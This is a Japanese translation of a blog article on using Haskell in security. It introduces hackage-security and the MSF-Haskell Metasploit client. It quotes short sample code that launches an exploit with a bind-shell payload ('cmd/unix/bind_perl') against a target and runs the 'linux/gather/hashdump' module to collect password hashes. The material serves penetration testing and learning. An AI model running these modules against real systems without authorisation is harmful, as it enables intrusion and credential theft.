セキュリティの分野で Haskell を使用する [翻訳記事]

nabbisen - Nov 25 '18 - - Dev Community

本記事は、以下の記事の翻訳です:
Security with Haskell by Paula
* 執筆者に許諾を頂いた上で掲載しています。


クレイジーだぜ」という言葉から「いったい全体どうして?」という言葉まで、私が、日常でもセキュリティにまつわるものにでも、Haskell を仕事の一部で使うようにし始めた時、コンピューター科学の世界に身を置く友人たちは、さまざまなことを言ったものです。
順番に答えて行きましょう。
ええ、私はクレイジーです。でもそれは Haskell が原因ではありません。
さらに私には Haskell をセキュリティ分野で使うことにした理由があるのです。
まず第一に、関数型プログラミングは 新しいトレンド です。きっともっともっとたくさんのアプリがこれを使ってつくられるようになるでしょう。純粋関数型言語をセキュリティ目的で選択することは、そこまで狂気じみたことではありません。
その一方で、Haskell の数学的アプローチは、暗号技術を使う上で非常に有用なものなのです。

それでは、どのようにしてセキュリティ検査のために Haskell を使えば良いでしょうか?

ここでは具体的なライブラリを挙げてみたいと思います。
hackage-security と呼ばれるものです。現在はインデックス署名のみをサポートしています。
Wiki に書かれていますが、このライブラリには二つの主要なエントリポイントがあります: Hackage.Security.Client はクライアントのための主要エントリポイントです。Hackage.Security.Server はサーバーのための主要エントリポイントです。
一見の価値のあるライブラリです。

他に目を向けてみると、Github のリポジトリに MSF-Haskell というものもあります。Haskell でペネトレーションテストの実施を可能にしてくれます。
サンプルとして Haskell で書かれたスクリプトも含まれています。さらに完全なホワイトペーパーもあります。
実際のところは Metasploit API の実装です。開発者が Haskell クライアントを書いて Metasploit サーバーとやり取りすることを可能にしてくれます。
例えば、サンプルのスクリプトでは、ターゲットのホストに対して脆弱性を利用した攻撃を行っています。

launchExploit :: (LoudCxt s) => Host Attackable -> MSF s ()
launchExploit targetHost = do
  _ <- module_execute metasploitableModuleType metasploitableModuleName
      $ toObject
      $ Map.fromList
          [ ("RHOST",   toObject targetHost)
          , ("PAYLOAD", toObject metasploitablePayload)
          ]
  return ()

Enter fullscreen mode Exit fullscreen mode

私たちは事前にペイロードそのものを定義しました:

metasploitablePayload = Payload "cmd/unix/bind_perl"

Enter fullscreen mode Exit fullscreen mode

あるいはこちらの記述でパスワードハッシュを獲得しました:

gatherCredentials :: (LoudCxt s) => SessionId -> MSF s ()
gatherCredentials sessionId = do
  let modTyp = PostModuleType
      modNm = ModuleName "linux/gather/hashdump"

  r <- module_execute modTyp modNm
      $ toObject
      $ Map.fromList
          [ ("SESSION",   toObject sessionId)
          ]
  case r of
    (ExecJobId j) -> waitJob j
    _             -> return ()

Enter fullscreen mode Exit fullscreen mode

まとめると、Haskell はセキュリティ分野で 関数型の スクリプトを書くための選択肢になる 可能性を持っています
Maybe(たぶん)型の良い選択肢です。つまり選択肢として実体化されるか Nothing かです。
ハハ、関数型のジョークです。ドドンシャーン(なんちゃって)。

何はともあれ、これらは真新しいタイプの攻撃手法です!スクラッチで開発されたものさえありますし、これまでに記述したような API の実装を使わないものもあります。
暗号関連についてお話しますと、こちらのリポジトリがおもしろいです。楕円曲線暗号を扱っています。
さてさて、私はあなた方すべてに、公式の Haskell の Web サイトで、セキュリティのリポジトリもそうですが、 暗号技術のリポジトリ を一度ご覧になることをおすすめします。
私はいまも調査中です。そこで、もしどなたでも、この同じ分野で活動されているのでしたら、さらなる情報をお待ちしています!


お読み頂きどうもありがとうございました。

本記事は、以下の記事の翻訳です:
Security with Haskell by Paula

To Paula: Thank you so much for your kind permission and consideration for me to translate your article.

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .